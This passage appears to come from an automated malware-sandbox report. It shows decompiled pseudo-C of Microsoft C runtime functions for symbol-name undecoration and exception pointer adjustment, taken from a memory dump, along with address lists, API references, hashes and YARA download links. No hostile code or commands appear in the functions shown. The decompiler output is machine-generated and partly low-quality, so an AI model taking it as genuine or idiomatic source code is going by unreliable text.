									if(_t154 == 0) {
										goto L15;
									} else {
										__eflags = 0x00001000 & _t125;
										if((0x00001000 & _t125) != 0) {
											goto L15;
										}
										_t93 =  *0xca3e38; // 0x0
										_t94 =  *_t93;
										__eflags = _t94;
										if(_t94 == 0) {
											L35:
											__eflags =  *0xca3e40 & 0x00001000;
											if(( *0xca3e40 & 0x00001000) == 0) {
												L39:
												E00C59680( *(_t155 + 8), _t155 - 0x18);
												goto L43;
											}
											__eflags = _t129;
											if(_t129 != 0) {
												goto L39;
											}
											__eflags = 0x00008000 & _t125;
											if((0x00008000 & _t125) != 0) {
												goto L39;
											}
											 *(_t155 - 0x30) =  *(_t155 - 0x30) & _t129;
											 *(_t155 - 0x2c) =  *(_t155 - 0x2c) & _t129;
											E00C59680(_t155 - 0x28, _t155 - 0x30);
											goto L15;
										}
										__eflags = _t94 - 0x40;
										if(_t94 == 0x40) {
											 *0xca3e38 =  *0xca3e38 + 1;
											__eflags =  *0xca3e38;
											goto L35;
										}
										_t84 =  *(_t155 + 8);
										_t84[1] = _t84[1] & 0x00000000;
										 *_t84 =  *_t84 & 0x00000000;
										_t84[1] = 2;
										goto L44;
									}
								}
								__eflags = _t92 - 0x40;
								if(_t92 == 0x40) {
									goto L24;
								}
								E00C5D824(0, _t155 - 0x28);
								_t102 =  *(_t155 - 0x28);
								__eflags = _t102;
								if(_t102 == 0) {
									goto L24;
								}
								__eflags =  *0xca3e44;
								_t135 = _t155 - 0x20;
								if( *0xca3e44 == 0) {
									 *(_t155 - 0x20) = _t102;
									 *(_t155 - 0x1c) =  *(_t155 - 0x24);
									 *(_t155 - 0x30) = "::";
									 *(_t155 - 0x2c) = 2;
									E00C593E8(_t135, _t155 - 0x30);
									_push(_t155 - 0x18);
									_t107 = _t155 - 0x28;
									L23:
									_push(_t107);
									_t108 = E00C59346(_t155 - 0x20);
									_t125 = _t108[1];
									_t154 =  *_t108;
									 *(_t155 - 0x14) = _t125;
									 *(_t155 - 0x18) = _t154;
									goto L24;
								}
								 *0xca3e44 = 0;
								 *(_t155 - 0x20) = _t154;
								 *(_t155 - 0x1c) = _t125;
								E00C59440(_t135, _t155 - 0x28);
								_t111 =  *0xca3e38; // 0x0
								_t154 =  *(_t155 - 0x20);
								_t125 =  *(_t155 - 0x1c);
								 *(_t155 - 0x18) = _t154;
								__eflags =  *_t111 - 0x40;
								 *(_t155 - 0x14) = _t125;
								if( *_t111 == 0x40) {
									goto L24;
								}
								_t113 = E00C5D824(0, _t155 - 0x30);
								 *(_t155 - 0x28) = "::";
								 *(_t155 - 0x24) = 2;
								 *(_t155 - 0x1c) = _t113[1];
								 *(_t155 - 0x20) =  *_t113;
								E00C593E8(_t155 - 0x20, _t155 - 0x28);
								_push(_t155 - 0x18);
								_t107 = _t155 - 0x30;
								goto L23;
							}
							L15:
							_t84 =  *(_t155 + 8);
							 *_t84 = _t154;
							_t84[1] = _t125;
							goto L44;
						}
						__eflags = _t125 & 0x00000200;
						if((_t125 & 0x00000200) == 0) {
							goto L13;
						}
						 *(_t155 - 0x10) = 1;
						goto L14;
					}
					__eflags =  *((intOrPtr*)(_t86 + 1)) - _t126;
					if(__eflags != 0) {
						goto L10;
					}
					_push(_t155 - 0x28);
					E00C5B971(__ebx, __edi, 0x2000, __eflags);
					_t120 =  *0xca3e38; // 0x0
					while(1) {
						__eflags =  *_t120;
						if( *_t120 == 0) {
							break;
						}
						_t120 = _t120 + 1;
						__eflags = _t120;
						 *0xca3e38 = _t120;
					}
					L2:
					_t84 =  *(_t155 + 8);
					 *_t84 =  *(_t155 - 0x28);
					_t84[1] =  *(_t155 - 0x24);
					goto L44;
				}
				 *0xca3e40 = _t81 & 0xffffdfff;
				E00C5B89A(__ebx, _t155 - 0x28, 0);
				 *0xca3e40 =  *0xca3e40 | 0x00002000;
				goto L2;
			}

0x00c5b971
0x00c5b971
0x00c5b978
0x00c5b97d
0x00c5b983
0x00c5b98f
0x00c5b994
0x00c5b9c5
0x00c5b9ca
0x00c5b9cc
0x00c5b9cf
0x00c5bbb0
0x00c5bbb2
0x00c5bbc7
0x00c5bbcc
0x00c5bbcc
0x00c5bbcf
0x00c5bbcf
0x00c5bbda
0x00c5bbda
0x00c5bbb4
0x00c5bbb7
0x00c5bbba
0x00c5bbbe
0x00000000
0x00c5bbbe
0x00c5b9d5
0x00c5b9d6
0x00c5b9db
0x00c5b9dd
0x00c5ba02
0x00c5ba06
0x00c5ba0b
0x00c5ba10
0x00c5ba15
0x00c5ba17
0x00c5ba26
0x00c5ba26
0x00c5ba26
0x00c5ba26
0x00c5ba2a
0x00c5ba2f
0x00c5ba31
0x00c5ba34
0x00c5ba43
0x00c5ba48
0x00c5ba4a
0x00c5ba4c
0x00c5bb1a
0x00c5bb1a
0x00c5bb1d
0x00c5bb1f
0x00c5bb21
0x00c5bb23
0x00c5bb25
0x00c5bb25
0x00c5bb2b
0x00c5bb2b
0x00c5bb23
0x00c5bb33
0x00c5bb35
0x00c5bb37
0x00c5bb37
0x00c5bb39
0x00c5bb39
0x00c5bb3c
0x00c5bb3e
0x00000000
0x00c5bb44
0x00c5bb49
0x00c5bb4b
0x00000000
0x00000000
0x00c5bb51
0x00c5bb56
0x00c5bb58
0x00c5bb5a
0x00c5bb76
0x00c5bb76
0x00c5bb7c
0x00c5bba0
0x00c5bba7
0x00000000
0x00c5bbad
0x00c5bb7e
0x00c5bb80
0x00000000
0x00000000
0x00c5bb82
0x00c5bb84
0x00000000
0x00000000
0x00c5bb86
0x00c5bb8c
0x00c5bb94
0x00000000
0x00c5bb9a
0x00c5bb5c
0x00c5bb5e
0x00c5bb70
0x00c5bb70
0x00000000
0x00c5bb70
0x00c5bb60
0x00c5bb63
0x00c5bb67
0x00c5bb6a
0x00000000
0x00c5bb6a
0x00c5bb3e
0x00c5ba52
0x00c5ba54
0x00000000
0x00000000
0x00c5ba5e
0x00c5ba63
0x00c5ba67
0x00c5ba69
0x00000000
0x00000000
0x00c5ba6f
0x00c5ba76
0x00c5ba79
0x00c5badf
0x00c5bae5
0x00c5baec
0x00c5baf3
0x00c5bafa
0x00c5bb02
0x00c5bb03
0x00c5bb06
0x00c5bb06
0x00c5bb0a
0x00c5bb0f
0x00c5bb12
0x00c5bb14
0x00c5bb17
0x00000000
0x00c5bb17
0x00c5ba7e
0x00c5ba86
0x00c5ba89
0x00c5ba8c
0x00c5ba91
0x00c5ba96
0x00c5ba99
0x00c5ba9c
0x00c5ba9f
0x00c5baa2
0x00c5baa5
0x00000000
0x00000000
0x00c5baab
0x00c5bab1
0x00c5bab8
0x00c5bac4
0x00c5baca
0x00c5bad1
0x00c5bad9
0x00c5bada
0x00000000
0x00c5bada
0x00c5ba36
0x00c5ba36
0x00c5ba39
0x00c5ba3b
0x00000000
0x00c5ba3b
0x00c5ba19
0x00c5ba1f
0x00000000
0x00000000
0x00c5ba21
0x00000000
0x00c5ba21
0x00c5b9df
0x00c5b9e2
0x00000000
0x00000000
0x00c5b9e7
0x00c5b9e8
0x00c5b9ed
0x00c5b9fb
0x00c5b9fb
0x00c5b9fe
0x00000000
0x00000000
0x00c5b9f5
0x00c5b9f5
0x00c5b9f6
0x00c5b9f6
0x00c5b9b2
0x00c5b9b2
0x00c5b9b8
0x00c5b9bd
0x00000000
0x00c5b9bd
0x00c5b99b
0x00c5b9a5
0x00c5b9aa
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 00C5B978
UnDecorator::getSymbolName.LIBCMT ref: 00C5BA06
DName::operator+.LIBCMT ref: 00C5BB0A

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::DName.LIBVCRUNTIME ref: 00C5BBC7

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name$Decorator::getH_prolog3Name::Name::operator+Symbolshared_ptr
String ID:
API String ID: 334624791-0
Opcode ID: d90ea75f17887d4bc4deef43ef42093e3643bc6e219b31d78e7e6792a4310293
Instruction ID: 5d09ea5ec9f63799df7651c7df39494af31188b47f555979cf07c6f7995bb716
Opcode Fuzzy Hash: d90ea75f17887d4bc4deef43ef42093e3643bc6e219b31d78e7e6792a4310293
Instruction Fuzzy Hash: 83817C79D002499FDB11CF94C495BEEBFB4FF09312F18405AE911AB251D7B09E88CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00C5D1E4, Relevance: 6.2, APIs: 4, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00C5D1E4(void* __ebx, signed int* _a4, signed int* _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				char* _v20;
				void* __esi;
				char _t60;
				void* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t68;
				signed int _t69;
				intOrPtr* _t71;
				signed int _t77;
				intOrPtr* _t79;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t98;
				void* _t105;
				char* _t111;
				char* _t116;
				char* _t119;
				intOrPtr* _t121;
				signed int* _t122;

				_t110 = __ebx;
				_t111 =  *0xca3e38; // 0x0
				_v12 = 0;
				_v8 = 0;
				_t60 =  *_t111;
				if(_t60 == 0) {
					L15:
					E00C59302(_t111, _a4, 1, _a8);
					L16:
					L17:
					return _a4;
				}
				_t63 = _t60 - 0x24;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t111 + 1));
					__eflags = _t64 - 0x24;
					if(_t64 == 0x24) {
						_t111 = _t111 + 2;
						 *0xca3e38 = _t111;
						_t65 =  *_t111;
						__eflags = _t65 - 0x52;
						if(__eflags > 0) {
							_t66 = _t65 - 0x53;
							__eflags = _t66;
							if(_t66 == 0) {
								_t55 = _t111 + 1; // -1
								 *0xca3e38 = _t55;
								L45:
								_t68 = _a4;
								 *((intOrPtr*)(_t68 + 4)) = 0;
								 *((char*)(_t68 + 4)) = 2;
								 *_t68 = 0;
								return _t68;
							}
							_t69 = _t66 - 1;
							__eflags = _t69;
							if(_t69 == 0) {
								_t45 = _t111 + 1; // -1
								 *0xca3e38 = _t45;
								_t71 = _a8;
								__eflags =  *_t71;
								if( *_t71 == 0) {
									_v20 = "std::nullptr_t";
									_v16 = 0xe;
									E00C58EDB(_a4,  &_v20);
									goto L17;
								}
								_v20 = "std::nullptr_t ";
								_v16 = 0xf;
								E00C592B5(_t111, _a4,  &_v20, _t71);
								goto L16;
							}
							_t77 = _t69;
							__eflags = _t77;
							if(_t77 == 0) {
								_t121 = _a8;
								_t41 = _t111 + 1; // -1
								 *0xca3e38 = _t41;
								_t79 = _a4;
								 *_t79 =  *_t121;
								 *((intOrPtr*)(_t79 + 4)) =  *((intOrPtr*)(_t121 + 4));
								return _t79;
							}
							__eflags = _t77 - 3;
							if(__eflags != 0) {
								goto L45;
							}
							_t39 = _t111 + 1; // -1
							 *0xca3e38 = _t39;
							E00C5DBD6(0, __eflags, _a4);
							L6:
							goto L17;
						}
						_t122 = _a8;
						if(__eflags == 0) {
							_t116 =  &_v12;
							_push( &_v20);
							__eflags =  *_t122;
							if( *_t122 == 0) {
								_v20 = "volatile";
								_v16 = 8;
							} else {
								_v20 = "volatile ";
								_v16 = 9;
							}
							E00C591A0(_t116);
							_t111 =  *0xca3e38; // 0x0
							L34:
							_push(3);
							L12:
							_v20 =  *_t122;
							 *0xca3e38 = _t111 + 1;
							_v16 =  *(_t122 + 4) | 0x00000100;
							_push( &_v20);
							_push( &_v12);
							_push(_a4);
							E00C5D5A0(_t110);
							goto L17;
						}
						_t91 = _t65;
						__eflags = _t91;
						if(_t91 == 0) {
							goto L15;
						}
						_t92 = _t91 - 0x41;
						__eflags = _t92;
						if(_t92 == 0) {
							_t31 = _t111 + 1; // -1
							 *0xca3e38 = _t31;
							E00C5C328(_a4, _t122);
							L5:
							goto L6;
						}
						_t95 = _t92 - 1;
						__eflags = _t95;
						if(_t95 == 0) {
							_t29 = _t111 + 1; // -1
							 *0xca3e38 = _t29;
							E00C5D433(__ebx, _t122, _a4, _t122, 1);
							goto L16;
						}
						_t98 = _t95 - 1;
						__eflags = _t98;
						if(_t98 == 0) {
							_t22 = _t111 + 1; // -1
							_v20 = 0;
							 *0xca3e38 = _t22;
							_v16 = 0;
							E00C5AAD4(_a4, E00C5B1D6(_t111,  &_v12, _t122, 0,  &_v20, 0));
							goto L17;
						}
						__eflags = _t98 == 0xe;
						if(_t98 == 0xe) {
							goto L34;
						}
						goto L45;
					}
					__eflags = _t64;
					if(_t64 != 0) {
						goto L45;
					}
					goto L15;
				}
				_t122 = _a8;
				_t105 = _t63 - 0x1d;
				if(_t105 == 0) {
					L11:
					_push(2);
					goto L12;
				}
				if(_t105 == 1) {
					_t119 =  &_v12;
					_push( &_v20);
					__eflags =  *_t122;
					if( *_t122 == 0) {
						_v20 = "volatile";
						_v16 = 8;
					} else {
						_v20 = "volatile ";
						_v16 = 9;
					}
					E00C591A0(_t119);
					_t111 =  *0xca3e38; // 0x0
					goto L11;
				}
				E00C5AAD4(_a4, _t122);
				goto L5;
			}

0x00c5d1e4
0x00c5d1ea
0x00c5d1f3
0x00c5d1f6
0x00c5d1fc
0x00c5d1fe
0x00c5d297
0x00c5d29f
0x00c5d2a4
0x00c5d2a7
0x00000000
0x00c5d2a7
0x00c5d204
0x00c5d207
0x00c5d288
0x00c5d28b
0x00c5d28d
0x00c5d2ad
0x00c5d2b0
0x00c5d2b6
0x00c5d2b9
0x00c5d2bc
0x00c5d37d
0x00c5d37d
0x00c5d380
0x00c5d41a
0x00c5d41d
0x00c5d422
0x00c5d422
0x00c5d425
0x00c5d428
0x00c5d42c
0x00000000
0x00c5d42c
0x00c5d386
0x00c5d386
0x00c5d389
0x00c5d3cc
0x00c5d3cf
0x00c5d3d4
0x00c5d3d7
0x00c5d3d9
0x00c5d402
0x00c5d409
0x00c5d410
0x00000000
0x00c5d410
0x00c5d3df
0x00c5d3ea
0x00c5d3f1
0x00000000
0x00c5d3f1
0x00c5d38c
0x00c5d38c
0x00c5d38f
0x00c5d3af
0x00c5d3b2
0x00c5d3b5
0x00c5d3ba
0x00c5d3bf
0x00c5d3c4
0x00000000
0x00c5d3c4
0x00c5d391
0x00c5d394
0x00000000
0x00000000
0x00c5d39d
0x00c5d3a0
0x00c5d3a5
0x00c5d220
0x00000000
0x00c5d220
0x00c5d2c2
0x00c5d2c5
0x00c5d345
0x00c5d348
0x00c5d349
0x00c5d34b
0x00c5d35d
0x00c5d364
0x00c5d34d
0x00c5d34d
0x00c5d354
0x00c5d354
0x00c5d36b
0x00c5d370
0x00c5d376
0x00c5d376
0x00c5d25c
0x00c5d25f
0x00c5d26a
0x00c5d270
0x00c5d276
0x00c5d27a
0x00c5d27b
0x00c5d27e
0x00000000
0x00c5d283
0x00c5d2c7
0x00c5d2c7
0x00c5d2c9
0x00000000
0x00000000
0x00c5d2cb
0x00c5d2cb
0x00c5d2ce
0x00c5d330
0x00c5d333
0x00c5d338
0x00c5d21f
0x00000000
0x00c5d21f
0x00c5d2d0
0x00c5d2d0
0x00c5d2d3
0x00c5d31a
0x00c5d31d
0x00c5d322
0x00000000
0x00c5d322
0x00c5d2d5
0x00c5d2d5
0x00c5d2d8
0x00c5d2e8
0x00c5d2eb
0x00c5d2ef
0x00c5d2fc
0x00c5d30a
0x00000000
0x00c5d30f
0x00c5d2da
0x00c5d2dd
0x00000000
0x00000000
0x00000000
0x00c5d2e3
0x00c5d28f
0x00c5d291
0x00000000
0x00000000
0x00000000
0x00c5d291
0x00c5d209
0x00c5d20c
0x00c5d20f
0x00c5d25a
0x00c5d25a
0x00000000
0x00c5d25a
0x00c5d214
0x00c5d229
0x00c5d22c
0x00c5d22d
0x00c5d22f
0x00c5d241
0x00c5d248
0x00c5d231
0x00c5d231
0x00c5d238
0x00c5d238
0x00c5d24f
0x00c5d254
0x00000000
0x00c5d254
0x00c5d21a
0x00000000

APIs

shared_ptr.LIBCMT ref: 00C5D24F
operator+.LIBVCRUNTIME ref: 00C5D29F
shared_ptr.LIBCMT ref: 00C5D36B
operator+.LIBVCRUNTIME ref: 00C5D3F1

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: operator+shared_ptr
String ID:
API String ID: 864562889-0
Opcode ID: c97924a37dce0b971a57690227b5bb61bb03cf616c551341332943eec0cf4667
Instruction ID: 7dd293301841790315091c64346135435367832e479c833a525dec4bada0298f
Opcode Fuzzy Hash: c97924a37dce0b971a57690227b5bb61bb03cf616c551341332943eec0cf4667
Instruction Fuzzy Hash: 4061A1B980434AEFCB24DF68C844AAD7BB4FB46305F148159E8169B221D371DBC9DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00C607A4, Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00C607A4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0xca13e0);
				E00C57070(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00C57740(_t107, E00C5825D(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00C57740(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0xca3de4; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0xc991a4();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E00C7A820(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0xca1400);
									E00C57070(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00C607A4(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00C616AF(_t103, _t108[0x18], E00C5825D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00C616BF(_t103, _t108[0x18], E00C5825D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E00C5825D();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00c607a4
0x00c607a6
0x00c607ab
0x00c607b0
0x00c607b2
0x00c607b5
0x00c607ba
0x00c608ca
0x00c608ca
0x00c608ca
0x00000000
0x00c607c9
0x00c607c9
0x00c607ce
0x00c607d8
0x00c607da
0x00c607df
0x00c607e4
0x00c607e4
0x00c607e6
0x00c607e9
0x00c607ee
0x00c60810
0x00c60810
0x00c60813
0x00c60816
0x00c60834
0x00c60837
0x00c60876
0x00c60879
0x00c6087c
0x00c608a1
0x00c608a3
0x00000000
0x00c608a5
0x00c608a5
0x00c608a7
0x00000000
0x00c608a9
0x00c608a9
0x00c608ae
0x00c608b2
0x00c608b2
0x00c608b3
0x00000000
0x00c608b3
0x00c608a7
0x00c6087e
0x00c6087e
0x00c60880
0x00000000
0x00c60882
0x00c60882
0x00c60884
0x00000000
0x00c60886
0x00c60897
0x00000000
0x00c6089c
0x00c60884
0x00c60880
0x00c60839
0x00c60839
0x00c6083d
0x00000000
0x00c60843
0x00c60843
0x00c60845
0x00000000
0x00c6084b
0x00c60852
0x00c6085a
0x00c6085e
0x00c60860
0x00c60863
0x00c60868
0x00c60869
0x00000000
0x00c60869
0x00c60863
0x00000000
0x00c6085e
0x00c60845
0x00c6083d
0x00c60818
0x00c60818
0x00000000
0x00c60818
0x00c607f5
0x00c607f5
0x00c607fa
0x00c607ff
0x00000000
0x00c60801
0x00c60803
0x00c6080c
0x00c6081b
0x00c6081d
0x00c608dc
0x00c608dc
0x00c608e1
0x00c608e2
0x00c608e4
0x00c608e9
0x00c608ee
0x00c608f1
0x00c608f4
0x00c608f7
0x00c60900
0x00c60900
0x00c608f9
0x00c608f9
0x00c608f9
0x00c60903
0x00c60907
0x00c6090a
0x00c6090b
0x00c6090c
0x00c6090d
0x00c60910
0x00c60919
0x00c60919
0x00c6091c
0x00c60952
0x00c6091e
0x00c6091e
0x00c6091e
0x00c60921
0x00c60938
0x00c60938
0x00c60921
0x00c60957
0x00c60961
0x00c6096d
0x00c6082b
0x00c6082b
0x00c60830
0x00c60831
0x00c6086b
0x00c60872
0x00c608b6
0x00c608b6
0x00c608bd
0x00c608cc
0x00c608cf
0x00c608db
0x00c608db
0x00c6081d
0x00c607ff
0x00000000
0x00000000
0x00000000
0x00c607ce

APIs

___AdjustPointer.LIBCMT ref: 00C6086B
___AdjustPointer.LIBCMT ref: 00C6088E
___AdjustPointer.LIBCMT ref: 00C6092A

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 09c502969b1352eaad7ce9a6ff8dc4a19ed00ffdf5ce9446fb5bc238b6640f28
Instruction ID: 5d859d43e5b28d4471038ec0451a609d286f61e91bd876b7f852ce59fb2529fd
Opcode Fuzzy Hash: 09c502969b1352eaad7ce9a6ff8dc4a19ed00ffdf5ce9446fb5bc238b6640f28
Instruction Fuzzy Hash: 8B51DE76A016029FEB39CF11D881B7BB7A5EF48301F34462DE915672D2E731AE90DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C01C, Relevance: 6.1, APIs: 4, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C5C01C(signed int* _a4, intOrPtr* _a8, char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v28;
				void* _t46;
				intOrPtr _t47;
				signed int* _t48;
				intOrPtr* _t49;
				void* _t50;
				intOrPtr _t53;
				intOrPtr _t57;
				char* _t60;
				char* _t62;
				signed int* _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				signed int _t80;
				intOrPtr _t87;
				intOrPtr* _t88;
				signed int _t89;
				signed int _t91;
				signed int _t94;

				_t87 =  *0xca3e38; // 0x0
				_t88 = _t87 + 1;
				 *0xca3e38 = _t88;
				_t74 =  *_t88;
				_t94 = 0;
				_t70 = _t74;
				_v12 = 0;
				_t91 = 0;
				_v8 = 0;
				_t46 = _t70 - 0x41;
				if(_t46 == 0) {
					if(_a16 != 0) {
						L32:
						_t42 = _t88 + 1; // 0x1
						_t47 = _t42;
						L33:
						 *0xca3e38 = _t47;
						_t48 = _a4;
						_t48[1] = _t94;
						L34:
						 *_t48 = _t94;
						L35:
						return _t48;
					}
					_t49 = _a8;
					if( *_t49 == 2 ||  *_t49 == 3) {
						 *_t49 = 5;
						goto L31;
					} else {
						if( *_t49 != 1) {
							goto L32;
						}
						 *_t49 = 4;
						L31:
						_t88 =  *0xca3e38; // 0x0
						goto L32;
					}
				}
				_t50 = _t46 - 1;
				if(_t50 == 0) {
					if(_a16 == 0) {
						 *_a12 = 1;
						E00C5A438( &_v12, 0x3e);
						L24:
						_t53 =  *0xca3e38; // 0x0
						_t47 = _t53 + 1;
						goto L33;
					}
					L22:
					_t48 = _a4;
					_t48[1] = _t94;
					_t48[1] = 2;
					goto L34;
				}
				if(_t50 == 1) {
					 *_a8 = 5;
					goto L24;
				}
				if(_t74 == 0) {
					L19:
					E00C58F7B(_a4, 1);
					_t48 = _a4;
					goto L35;
				}
				_t57 =  *((intOrPtr*)(_t88 + 1));
				if(_t57 == 0) {
					goto L19;
				}
				if(_a16 != 0) {
					goto L22;
				}
				_t5 = _t70 - 0x30; // -40
				_t6 = _t88 + 2; // 0x3
				 *0xca3e38 = _t6;
				_t73 = _t57 + 0xffffffd0 + (_t5 << 4);
				if(_t57 + 0xffffffd0 + (_t5 << 4) > 1) {
					E00C5A438( &_v12, 0x2c);
					_t69 = E00C59346( &_v12,  &_v28, E00C59051( &_v20, _t73, 0));
					_t94 =  *_t69;
					_t91 = _t69[1];
				}
				_v20 = _t94;
				_v16 = _t91;
				E00C59497( &_v20, 0x3e);
				_t60 =  *0xca3e38; // 0x0
				_t89 = _v20;
				_t80 = _v16;
				_v12 = _t89;
				_v8 = _t80;
				if( *_t60 != 0x24) {
					_v16 = _t80;
					_v20 = _t89;
					E00C59497( &_v20, 0x5e);
					_t89 = _v20;
					_t80 = _v16;
					_t62 =  *0xca3e38; // 0x0
					_v12 = _t89;
					_v8 = _t80;
				} else {
					_t62 = _t60 + 1;
					 *0xca3e38 = _t62;
				}
				if( *_t62 == 0) {
					if(_t80 <= 1) {
						if(_t89 == 0) {
							E00C59236( &_v12, 1);
						} else {
							E00C58BDF( &_v12, 0xc9a8d4);
						}
						_t89 = _v12;
						_t80 = _v8;
					}
				} else {
					 *0xca3e38 = _t62 + 1;
				}
				_t48 = _a4;
				 *_t48 = _t89;
				_t48[1] = _t80 | 0x00004000;
				goto L35;
			}

0x00c5c022
0x00c5c028
0x00c5c02a
0x00c5c031
0x00c5c033
0x00c5c035
0x00c5c03b
0x00c5c03e
0x00c5c040
0x00c5c043
0x00c5c046
0x00c5c192
0x00c5c1ba
0x00c5c1ba
0x00c5c1ba
0x00c5c1bd
0x00c5c1bd
0x00c5c1c2
0x00c5c1c5
0x00c5c1c8
0x00c5c1c8
0x00c5c1ca
0x00c5c1ce
0x00c5c1ce
0x00c5c194
0x00c5c19a
0x00c5c1ae
0x00000000
0x00c5c1a1
0x00c5c1a4
0x00000000
0x00000000
0x00c5c1a6
0x00c5c1b4
0x00c5c1b4
0x00000000
0x00c5c1b4
0x00c5c19a
0x00c5c04c
0x00c5c04f
0x00c5c169
0x00c5c17f
